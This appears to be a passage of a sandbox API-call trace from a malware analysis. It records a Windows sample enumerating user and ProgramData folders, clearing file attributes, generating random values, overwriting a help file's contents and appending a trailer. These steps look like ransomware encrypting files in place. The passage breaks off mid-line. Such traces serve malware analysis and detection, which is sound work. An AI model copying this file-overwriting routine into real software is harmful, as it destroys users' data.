[0151.536] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.536] wcscat (in: _Dest=0x202ad3f0, _Source="usertile42.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" [0151.536] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile42.bmp")) returned 0x20 [0151.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp", dwFileAttributes=0x20) returned 0 [0151.536] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile42.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.536] GetLastError () returned 0x5 [0151.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp", dwFileAttributes=0x20) returned 0 [0151.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.537] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd0f375, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile43.bmp", cAlternateFileName="")) returned 1 [0151.537] wcscmp (_String1="usertile43.bmp", _String2=".") returned 1 [0151.537] wcscmp (_String1="usertile43.bmp", _String2="..") returned 1 [0151.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.537] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.537] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.537] wcscat (in: _Dest=0x202ad3f0, _Source="usertile43.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" [0151.537] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile43.bmp")) returned 0x20 [0151.537] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp", dwFileAttributes=0x20) returned 0 [0151.537] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile43.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.537] GetLastError () returned 0x5 [0151.537] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp", dwFileAttributes=0x20) returned 0 [0151.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.538] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 1 [0151.538] wcscmp (_String1="usertile44.bmp", _String2=".") returned 1 [0151.538] wcscmp (_String1="usertile44.bmp", _String2="..") returned 1 [0151.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.538] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.538] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.538] wcscat (in: _Dest=0x202ad3f0, _Source="usertile44.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" [0151.539] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile44.bmp")) returned 0x20 [0151.539] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp", dwFileAttributes=0x20) returned 0 [0151.539] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile44.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.539] GetLastError () returned 0x5 [0151.539] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp", dwFileAttributes=0x20) returned 0 [0151.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.540] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 0 [0151.540] FindClose (in: hFindFile=0x1b858c70 | out: hFindFile=0x1b858c70) returned 1 [0151.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56080) returned 1 [0151.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508b30) returned 1 [0151.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a52b0) returned 1 Thread: id = 1930 os_tid = 0x10f0 [0134.260] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp")) returned 0xffffffff [0134.260] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp", dwFileAttributes=0x20) returned 0 [0134.261] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0134.261] GetLastError () returned 0x2 [0134.261] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp", dwFileAttributes=0xffffffff) returned 0 [0134.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5610) returned 1 Thread: id = 1931 os_tid = 0x10f4 [0134.291] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp")) returned 0xffffffff [0134.291] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp", dwFileAttributes=0x20) returned 0 [0134.291] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0134.291] GetLastError () returned 0x2 [0134.291] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp", dwFileAttributes=0xffffffff) returned 0 [0134.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e390) returned 1 Thread: id = 1932 os_tid = 0x10f8 [0134.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85e390 [0134.340] wcscpy (in: _Dest=0x1b85e390, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" [0134.340] wcscat (in: _Dest=0x1b85e390, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0134.340] wcscat (in: _Dest=0x1b85e390, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*" [0134.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce59140 [0134.340] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858b50 [0134.351] wcscmp (_String1=".", _String2=".") returned 0 [0134.351] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.351] wcscmp (_String1="..", _String2=".") returned 1 [0134.351] wcscmp (_String1="..", _String2="..") returned 0 [0134.351] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="HELP_C~1.H1D")) returned 1 [0134.351] wcscmp (_String1="Help_CValidator.H1D", _String2=".") returned 1 [0134.351] wcscmp (_String1="Help_CValidator.H1D", _String2="..") returned 1 [0134.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20508c70 [0134.351] wcscpy (in: _Dest=0x20508c70, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" [0134.351] wcscat (in: _Dest=0x20508c70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0134.351] wcscat (in: _Dest=0x20508c70, _Source="Help_CValidator.H1D" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" [0151.545] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d")) returned 0x2026 [0151.548] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D", dwFileAttributes=0x20) [0183.302] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f00 [0183.614] GetFileSizeEx (in: hFile=0x1f00, lpFileSize=0x2ec5fc60 | out: lpFileSize=0x2ec5fc60*=12066) returned 1 [0183.649] SetFilePointerEx (in: hFile=0x1f00, liDistanceToMove=0x2f1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.649] ReadFile (in: hFile=0x1f00, lpBuffer=0x2ec5fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ec5fc28, lpOverlapped=0x0 | out: lpBuffer=0x2ec5fbe0*, lpNumberOfBytesRead=0x2ec5fc28*=0x4, lpOverlapped=0x0) returned 1 [0183.819] SetFilePointerEx (in: hFile=0x1f00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33200 [0183.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33380 [0183.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33410 [0183.819] NtQuerySystemTime (in: CurrentTime=0x2ec5fb20 | out: CurrentTime=0x2ec5fb20*=132462177889234000) returned 0x0 [0183.819] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x411f3ba3 [0183.819] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x61dd19e8 [0183.819] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x58a0dbbd [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x5f3b26b0 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x2f885d68 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x28c13b8e [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x3b27b452 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x75d99598 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x37e08680 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0xcc2fb59 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0xbf543ca [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x77e79a3e [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x7dd0094c [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x5c863174 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x79168edb [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x1671db7f [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x20b59e50 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x21041995 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x7ff1389c [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x38985f45 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x493de205 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x309f1e90 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x5a05d5d8 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x22ba50b2 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x30c55211 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x2b96f687 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x7079131c [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x494c658e [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x4195b147 [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x637988bc [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x175206c [0183.820] RtlRandomEx (in: Seed=0x2ec5fb10 | out: Seed=0x2ec5fb10) returned 0x39c44e27 [0183.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33440 [0183.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0183.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33470 [0183.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0183.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33410) returned 1 [0183.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33200) returned 1 [0183.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf70 [0183.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0183.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33200 [0183.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33200) returned 1 [0183.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4222d570 [0183.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4279daa0 [0183.834] ReadFile (in: hFile=0x1f00, lpBuffer=0x4222d570, nNumberOfBytesToRead=0x2f22, lpNumberOfBytesRead=0x2ec5fb10, lpOverlapped=0x0 | out: lpBuffer=0x4222d570*, lpNumberOfBytesRead=0x2ec5fb10*=0x2f22, lpOverlapped=0x0) returned 1 [0183.886] SetFilePointerEx (in: hFile=0x1f00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.886] WriteFile (in: hFile=0x1f00, lpBuffer=0x4279daa0*, nNumberOfBytesToWrite=0x2f22, lpNumberOfBytesWritten=0x2ec5fb14, lpOverlapped=0x0 | out: lpBuffer=0x4279daa0*, lpNumberOfBytesWritten=0x2ec5fb14*=0x2f22, lpOverlapped=0x0) returned 1 [0188.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134d20 [0188.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134d50 [0188.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134d50) returned 1 [0188.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4279daa0) returned 1 [0188.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4222d570) returned 1 [0188.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0188.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf70) returned 1 [0188.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f670 [0188.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf70 [0188.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0188.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134d50 [0188.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134d50) returned 1 [0188.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f930 [0188.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134d50 [0188.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134d80 [0188.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134d80) returned 1 [0188.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0188.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf70) returned 1 [0188.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x42c141b0 [0188.407] SetFilePointerEx (in: hFile=0x1f00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0189.155] WriteFile (in: hFile=0x1f00, lpBuffer=0x42c141b0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2ec5fc30, lpOverlapped=0x0 | out: lpBuffer=0x42c141b0*, lpNumberOfBytesWritten=0x2ec5fc30*=0x118, lpOverlapped=0x0) returned 1 [0202.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a930 [0202.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a27e0 [0202.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a27e0) returned 1 [0202.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a27e0 [0202.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a27b0 [0202.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2750 [0202.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2750) returned 1 [0202.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a930) returned 1 [0202.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b7cea00 [0202.790] sprintf (in: _Dest=0x1b7cea00, _Format="%c%c" | out: _Dest="24") returned 2 [0202.790] sprintf (in: _Dest=0x1b7cea02, _Format="%c%c" | out: _Dest="16") returned 2 [0202.790] sprintf (in: _Dest=0x1b7cea04, _Format="%c%c" | out: _Dest="4e") returned 2 [0202.790] sprintf (in: _Dest=0x1b7cea06, _Format="%c%c" | out: _Dest="e1") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea08, _Format="%c%c" | out: _Dest="03") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea0a, _Format="%c%c" | out: _Dest="b8") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea0c, _Format="%c%c" | out: _Dest="fd") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea0e, _Format="%c%c" | out: _Dest="ba") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea10, _Format="%c%c" | out: _Dest="e6") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea12, _Format="%c%c" | out: _Dest="4b") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea14, _Format="%c%c" | out: _Dest="50") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea16, _Format="%c%c" | out: _Dest="9d") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea18, _Format="%c%c" | out: _Dest="e1") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea1a, _Format="%c%c" | out: _Dest="b7") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea1c, _Format="%c%c" | out: _Dest="a4") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea1e, _Format="%c%c" | out: _Dest="d9") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea20, _Format="%c%c" | out: _Dest="41") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea22, _Format="%c%c" | out: _Dest="de") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea24, _Format="%c%c" | out: _Dest="ad") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea26, _Format="%c%c" | out: _Dest="89") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea28, _Format="%c%c" | out: _Dest="30") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea2a, _Format="%c%c" | out: _Dest="fe") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea2c, _Format="%c%c" | out: _Dest="24") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea2e, _Format="%c%c" | out: _Dest="3a") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea30, _Format="%c%c" | out: _Dest="38") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea32, _Format="%c%c" | out: _Dest="a6") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea34, _Format="%c%c" | out: _Dest="c6") returned 2 [0202.791] sprintf (in: _Dest=0x1b7cea36, 